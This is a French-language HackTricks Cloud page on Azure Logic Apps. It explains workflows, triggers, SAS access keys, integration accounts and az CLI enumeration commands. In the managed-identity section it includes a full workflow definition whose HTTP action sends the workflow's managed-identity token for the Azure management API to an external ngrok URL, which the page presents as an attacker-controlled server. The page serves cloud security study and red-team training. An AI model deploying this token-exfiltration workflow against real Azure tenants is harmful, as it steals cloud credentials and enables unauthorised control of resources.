Az - Logic Apps
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Azure Logic Apps permet aux dĂ©veloppeurs de crĂ©er et dâexĂ©cuter des workflows qui intĂšgrent divers services, sources de donnĂ©es et applications. Ces workflows sont conçus pour automatiser les processus mĂ©tier, orchestrer des tĂąches et effectuer des intĂ©grations de donnĂ©es Ă travers diffĂ©rentes plateformes.
Logic Apps fournit un concepteur visuel pour crĂ©er des workflows avec une large gamme de connecteurs prĂ©conçus, ce qui facilite la connexion et lâinteraction avec divers services :
.png)
Options dâhĂ©bergement
Il existe plusieurs options dâhĂ©bergement :
- Consommation
- Multi-tenant : Cela fournit des ressources de calcul partagĂ©es, fonctionne dans le cloud public et suit un modĂšle de tarification Ă la demande. Cela est idĂ©al pour des charges de travail lĂ©gĂšres et rentables. Câest ce que nous appellerons un âWorkflow Uniqueâ.
- Standard
- Plan de service de workflow : Cela fournit des ressources de calcul dédiées avec intégration VNET pour le réseau et facture par instance de plan de service de workflow. Il est adapté aux charges de travail plus exigeantes nécessitant un plus grand contrÎle.
- Environnement de service dâapplication V3 : Cela fournit des ressources de calcul dĂ©diĂ©es avec une isolation et une Ă©volutivitĂ© complĂštes. Il sâintĂšgre Ă©galement avec VNET pour le rĂ©seau et utilise un modĂšle de tarification basĂ© sur les instances de service dâapplication au sein de lâenvironnement.
- Hybride : Cela est conçu pour le traitement local et le support multi-cloud. Il permet des ressources de calcul gĂ©rĂ©es par le client avec accĂšs au rĂ©seau local et utilise lâautoscaling basĂ© sur les Ă©vĂ©nements Kubernetes (KEDA). Il repose sur un environnement dâapplication conteneurisĂ©e connectĂ©.
Workflows âUniquesâ / Plan de Consommation
Un workflow est une sĂ©quence structurĂ©e dâĂ©tapes ou de tĂąches automatisĂ©es qui exĂ©cutent un processus ou un objectif spĂ©cifique. Il dĂ©finit comment diffĂ©rentes actions, conditions et dĂ©cisions interagissent pour atteindre un rĂ©sultat souhaitĂ©, rationalisant les opĂ©rations et rĂ©duisant lâeffort manuel.
Tip
Le plan de consommation permet de crĂ©er un workflow unique sans avoir besoin dâune Logic App elle-mĂȘme.
Déclencheurs et Actions
Les dĂ©clencheurs de workflow indiquent quand le workflow doit commencer. Les dĂ©clencheurs peuvent ĂȘtre un point de terminaison HTTP, un calendrier ou des dizaines dâĂ©vĂ©nements diffĂ©rents dâAzure ou mĂȘme dâapplications externes.
Chaque workflow a diffĂ©rentes actions. Ces actions sont les Ă©tapes que le workflow suit. Selon lâaction, diffĂ©rents paramĂštres seront disponibles pour la configurer, comme :
- Nom de la connexion : Connexion Ă utiliser avec laquelle lâaction interagira.
- Type dâauthentification : Les diffĂ©rentes options sont ClĂ© dâaccĂšs, Microsoft Entra ID, authentification de principal de service intĂ©grĂ© et identitĂ© gĂ©rĂ©e de Logic Apps.
- Dâun point de vue en lecture seule, les donnĂ©es dâauthentification sont toujours intĂ©ressantes car elles pourraient contenir des informations sensibles.
- Dâun point de vue dâĂ©criture, les donnĂ©es dâauthentification sont toujours intĂ©ressantes car elles pourraient permettre dâutiliser les autorisations des identitĂ©s gĂ©rĂ©es assignĂ©es.
- âŠ
Les actions ont Ă©galement divers paramĂštres, qui dĂ©pendent de lâaction elle-mĂȘme. Certains des paramĂštres les plus courants sont :
- Politique de rĂ©essai : Configure le nombre de rĂ©essais et lâintervalle entre eux.
- DĂ©lai dâexpiration : DĂ©finit le temps maximum que lâaction peut sâexĂ©cuter avant dâexpirer.
- ExĂ©cuter aprĂšs : SpĂ©cifie les conditions qui doivent ĂȘtre remplies avant que lâaction ne sâexĂ©cute.
- Validation de schéma : Assure que les données entrantes suivent une structure prédéfinie.
- RĂ©seautage : Configure comment gĂ©rer diffĂ©rents en-tĂȘtes.
- EntrĂ©es/Sorties sĂ©curisĂ©es : Cela masquera les donnĂ©es dâentrĂ©e/sortie de lâhistorique dâexĂ©cution.
- âŠ
Politiques dâautorisation
Ces workflows prennent en charge des politiques dâautorisation avec Entra ID pour sĂ©curiser les dĂ©clencheurs basĂ©s sur des requĂȘtes en exigeant un jeton dâaccĂšs valide. Ce jeton doit inclure des revendications spĂ©cifiques :
- Ămetteur (iss) pour vĂ©rifier le fournisseur dâidentitĂ©
- Public (aud) pour sâassurer que le jeton est destinĂ© Ă la Logic App
- Sujet (sub) pour identifier lâappelant
- ID JWT (identifiant de jeton Web JSON)
- Revendication personnalisée
Lorsquâune requĂȘte est reçue, Logic Apps valide le jeton par rapport Ă ces revendications et permet lâexĂ©cution uniquement si elles correspondent Ă la politique configurĂ©e. Cela peut ĂȘtre utilisĂ© pour permettre Ă un autre locataire de dĂ©clencher le workflow ou de refuser le dĂ©clenchement dâautres sources, par exemple en nâautorisant le dĂ©clenchement que sâil provient de https://login.microsoftonline.com/.
ClĂ©s dâaccĂšs
Les workflows gĂ©nĂšrent 2 clĂ©s dâaccĂšs lorsquâils sont créés. Ces clĂ©s sont utilisĂ©es pour authentifier et autoriser les requĂȘtes au workflow. Les clĂ©s sont utilisĂ©es pour gĂ©nĂ©rer un jeton de signature dâaccĂšs partagĂ© (SAS), qui est inclus dans lâURL de la requĂȘte.
Ainsi, lorsquâun dĂ©clencheur de point de terminaison HTTP est créé, un point de terminaison HTTP unique avec une signature SAS qui accorde la permission dâappeler le workflow est gĂ©nĂ©rĂ©.
Ces clĂ©s peuvent ĂȘtre rĂ©gĂ©nĂ©rĂ©es et une nouvelle URL SAS sera créée pour ces dĂ©clencheurs, mais les valeurs des clĂ©s ne peuvent pas ĂȘtre accessibles.
Exemple dâune URL SAS pour invoquer un dĂ©clencheur :
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
ParamĂštres et composants du flux de travail
- Option dâaccĂšs au dĂ©clencheur : Ce paramĂštre vous permet de restreindre qui peut dĂ©clencher ou dĂ©marrer votre flux de travail. Les options sont Tout IP, Seulement un autre flux de travail et Plages IP spĂ©cifiques.
- Compte dâintĂ©gration : Liez votre flux de travail Ă un Compte dâIntĂ©gration.
- Haut dĂ©bit : Sâil est activĂ©, cela permet de gĂ©rer plus de demandes en parallĂšle rapidement.
- Conservation de lâhistorique des exĂ©cutions : Cela indique le nombre de jours Ă conserver lâhistorique des exĂ©cutions.
- Connexions API : Cela montre les diffĂ©rentes connexions API que le flux de travail possĂšde. Ă lâintĂ©rieur de chacune de ces connexions, elles ont diffĂ©rentes propriĂ©tĂ©s et la possibilitĂ© de modifier la connexion API oĂč le type dâauthentification peut ĂȘtre changĂ©.
- Historique : Il a lâoption dâaccĂ©der Ă lâhistorique des anciennes exĂ©cutions et dâobtenir des donnĂ©es : ParamĂštres, Sortie, ParamĂštres et le Code.
- Versions : Il a lâoption dâaccĂ©der Ă diffĂ©rentes versions du flux de travail, oĂč vous pouvez vĂ©rifier le code et changer le flux de travail actuel avec une version antĂ©rieure de celui-ci.
- IdentitĂ©s gĂ©rĂ©es : Il est possible dâassigner 1 identitĂ© gĂ©rĂ©e par le systĂšme et une identitĂ© gĂ©rĂ©e par lâutilisateur au flux de travail.
Fuite de jetons dâaccĂšs MI
Lâaction HTTP dans un flux de travail peut ĂȘtre utilisĂ©e pour envoyer des donnĂ©es Ă un web externe. Dans les ParamĂštres avancĂ©s de lâaction HTTP, il est possible de configurer le Type dâauthentification comme IdentitĂ© gĂ©rĂ©e et ensuite sĂ©lectionner lâIdentitĂ© gĂ©rĂ©e assignĂ©e Ă utiliser (systĂšme ou utilisateur).
De plus, il est possible dâindiquer dans lâAudience lâaudience du JWT gĂ©nĂ©rĂ©, qui pourrait ĂȘtre par exemple https://management.azure.com/ pour pouvoir utiliser le jeton gĂ©nĂ©rĂ© pour accĂ©der Ă lâAPI de gestion Azure.
Warning
Faire en sorte que lâaction envoie la requĂȘte HTTP Ă un serveur contrĂŽlĂ© par un attaquant peut fuir le jeton dâaccĂšs de lâidentitĂ© gĂ©rĂ©e assignĂ©e au flux de travail.
Tip
Un attaquant pourrait Ă©galement utiliser dâautres types dâactions pour accĂ©der directement Ă dâautres services Azure et effectuer des actions avec les autorisations de lâidentitĂ© gĂ©rĂ©e.
Ceci est le code dâun flux de travail qui expose un point de terminaison HTTP et utilise ensuite une action HTTP pour fuir le jeton dâaccĂšs vers lâURL configurĂ©e (ngrok dans ce cas) :
Code du flux de travail
```json { "definition": { "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", "contentVersion": "1.0.0.0", "triggers": { "When_a_HTTP_request_is_received": { "type": "Request", "kind": "Http" } }, "actions": { "HTTP": { "runAfter": {}, "type": "Http", "inputs": { "uri": "https://22b6-81-33-70-107.ngrok-free.app", "method": "GET", "authentication": { "type": "ManagedServiceIdentity", "audience": "https://management.azure.com/" } }, "runtimeConfiguration": { "contentTransfer": { "transferMode": "Chunked" } } } }, "outputs": {}, "parameters": { "$connections": { "type": "Object", "defaultValue": {} } } }, "parameters": { "$connections": { "type": "Object", "value": {} } } } ```Logic Apps / Plan Standard
DiffĂ©rences avec les flux de travail âUniqueâ
Les Logic Apps utilisent essentiellement un App Service en arriĂšre-plan pour hĂ©berger lâapplication logique qui peut hĂ©berger plusieurs flux de travail. Cela signifie que lâapplication logique aura toutes les fonctionnalitĂ©s dâun App Service et des flux de travail âUniquesâ.
Quelques fonctionnalités clés seraient :
- Plan App Service : Les Logic Apps dans le plan Standard sont hĂ©bergĂ©es sur un Plan App Service, il est donc possible dâutiliser toutes les fonctionnalitĂ©s de lâApp Service comme :
- Restrictions RĂ©seau : Indiquer dâoĂč elle est accessible.
- Centre de Déploiement : Déployer depuis des plateformes externes comme Github, Bitbucket, Azure Repos, Git externe et Git local.
- AccĂšs FTP : Il est possible dâaccĂ©der aux fichiers de lâapplication logique via FTP.
- Compte de Stockage : Lâapplication de service utilise un compte de stockage pour stocker des informations.
- Variables dâenvironnement & ParamĂštres dâapplication : Il est possible de configurer des variables dâenvironnement et des paramĂštres dâapplication (et de trouver des informations sensibles comme des clĂ©s dâaccĂšs au compte de stockage).
- âŠ
- ParamĂštres : Les paramĂštres vous permettent de gĂ©rer des valeurs qui varient entre le dĂ©veloppement, le test et la production. Cela vous permet de concevoir dâabord des flux de travail, puis dâajuster facilement les paramĂštres spĂ©cifiques Ă lâenvironnement par la suite.
- Ressources Dédiées : Les Logic Apps dans le plan Standard ont des ressources dédiées.
- Multiples Flux de Travail : Cela permet de créer plusieurs flux de travail.
Pour plus dâinfos sur les App Services, consultez :
ĂnumĂ©ration
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"
# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"
# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"
# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"
Comptes dâintĂ©gration
Comptes dâintĂ©gration, sont une fonctionnalitĂ© dâAzure Logic Apps. Les Comptes dâintĂ©gration sont utilisĂ©s pour faciliter les intĂ©grations au niveau de lâentreprise en permettant des capacitĂ©s B2B avancĂ©es, telles que lâEDI, lâAS2 et la gestion des schĂ©mas XML. Les Comptes dâintĂ©gration sont un conteneur dans Azure qui stocke les artefacts suivants utilisĂ©s pour les Logic Apps :
- SchĂ©mas : GĂ©rer les schĂ©mas XML pour valider et traiter les messages dans votre compte dâintĂ©gration.
- Cartes : Configurer des transformations basĂ©es sur XSLT pour convertir les formats de donnĂ©es au sein de vos flux de travail dâintĂ©gration.
- Assemblages : GĂ©rer les assemblages du compte dâintĂ©gration pour rationaliser la logique et le traitement des donnĂ©es.
- Certificats : Gérer les certificats pour chiffrer et signer les messages, garantissant une communication sécurisée.
- Partenaires : Gérer les informations sur les partenaires commerciaux pour les transactions B2B, permettant des intégrations sans faille.
- Accords : Configurer des rÚgles et des paramÚtres pour échanger des données avec des partenaires commerciaux (par exemple, EDI, AS2).
- Configurations de lot : Gérer les configurations de traitement par lot pour regrouper et traiter les messages efficacement.
- RosettaNet PIP : Configurer les processus dâinterface partenaire RosettaNet (PIPs) pour standardiser la communication B2B.
ĂnumĂ©ration
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
Escalade de privilĂšges
Identique Ă la privesc des applications logiques :
Post-exploitation
Az - Logic Apps Post Exploitation
Persistance
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

